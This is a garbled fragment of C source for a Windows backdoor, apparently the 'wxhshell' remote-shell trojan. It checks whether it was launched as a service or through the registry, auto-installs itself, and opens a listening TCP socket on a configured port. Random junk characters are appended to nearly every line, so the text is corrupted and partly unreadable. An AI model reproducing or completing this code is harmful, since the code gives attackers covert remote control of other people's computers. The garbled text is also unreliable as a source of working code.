ULONG UniqueProcessId; cM<08-:v
ULONG InheritedFromUniqueProcessId; 4Wvefq"
} PROCESS_BASIC_INFORMATION; dEI!r1~n
[_ uT+q3
PROCNTQSIP NtQueryInformationProcess; GbQg(%2F
hAds15 %C
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Pd;8<UMk
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; x1Z'_Qw
7$Wbf4
HANDLE hProcess; ?MfwRWY
PROCESS_BASIC_INFORMATION pbi; .qf~t/o
4\ElMb[]
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); .=yv m
if(NULL == hInst ) return 0; X>pCkGE
#RyTa
/L
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )Pc>+}D
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =j20A6gND
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); p1.3)=T
Gf+X<a
if (!NtQueryInformationProcess) return 0; .h/2-pQ>
?I+$KjE+
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); A42!%>PB
if(!hProcess) return 0; u|\?6fz
kaoiSL<[6
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; p/l">d]+
?|Z~mE
CloseHandle(hProcess); 7 _"G@h
6Z=Qs=q
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Lr
d-
if(hProcess==NULL) return 0; C7AD1rl
0DnOO0Nc
HMODULE hMod; 4hfq7kq7(
char procName[255]; PRBlf
unsigned long cbNeeded; C CLc,r>)
c/j+aj0.v
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Q`;eI
a6U
@)!N{x?
CloseHandle(hProcess); e^x%d[sU
^wwS`vPb
if(strstr(procName,"services")) return 1; // 以服务启动 J,=ZUh@M
K3WaBcm
return 0; // 注册表启动 cF EO}
} -eD]gm
j/NX
// 主模块 q
\fyp\z
int StartWxhshell(LPSTR lpCmdLine) C9""sVs
{ v046
SOCKET wsl; -0]%#(E%`h
BOOL val=TRUE; ?1O`
Rd{tn
int port=0; E="uDHw+
struct sockaddr_in door; EDh-pK
9HPwl
if(wscfg.ws_autoins) Install(); LCzeE7x
%.'oY%
port=atoi(lpCmdLine); `ueOb
je 3Qq1
if(port<=0) port=wscfg.ws_port; g>gf-2%Uo
m6}_kzFz
WSADATA data; 8A::q ;
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; jaavh6h)
\!w |
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; zuFPG{^\#
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); qzO5p=}
door.sin_family = AF_INET; suFk<^3
door.sin_addr.s_addr = inet_addr("127.0.0.1"); WIAukM8~
door.sin_port = htons(port); k{hNv|:,
BnDCK@+|Q
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \[)SK`cwd
closesocket(wsl); VeY&pPQ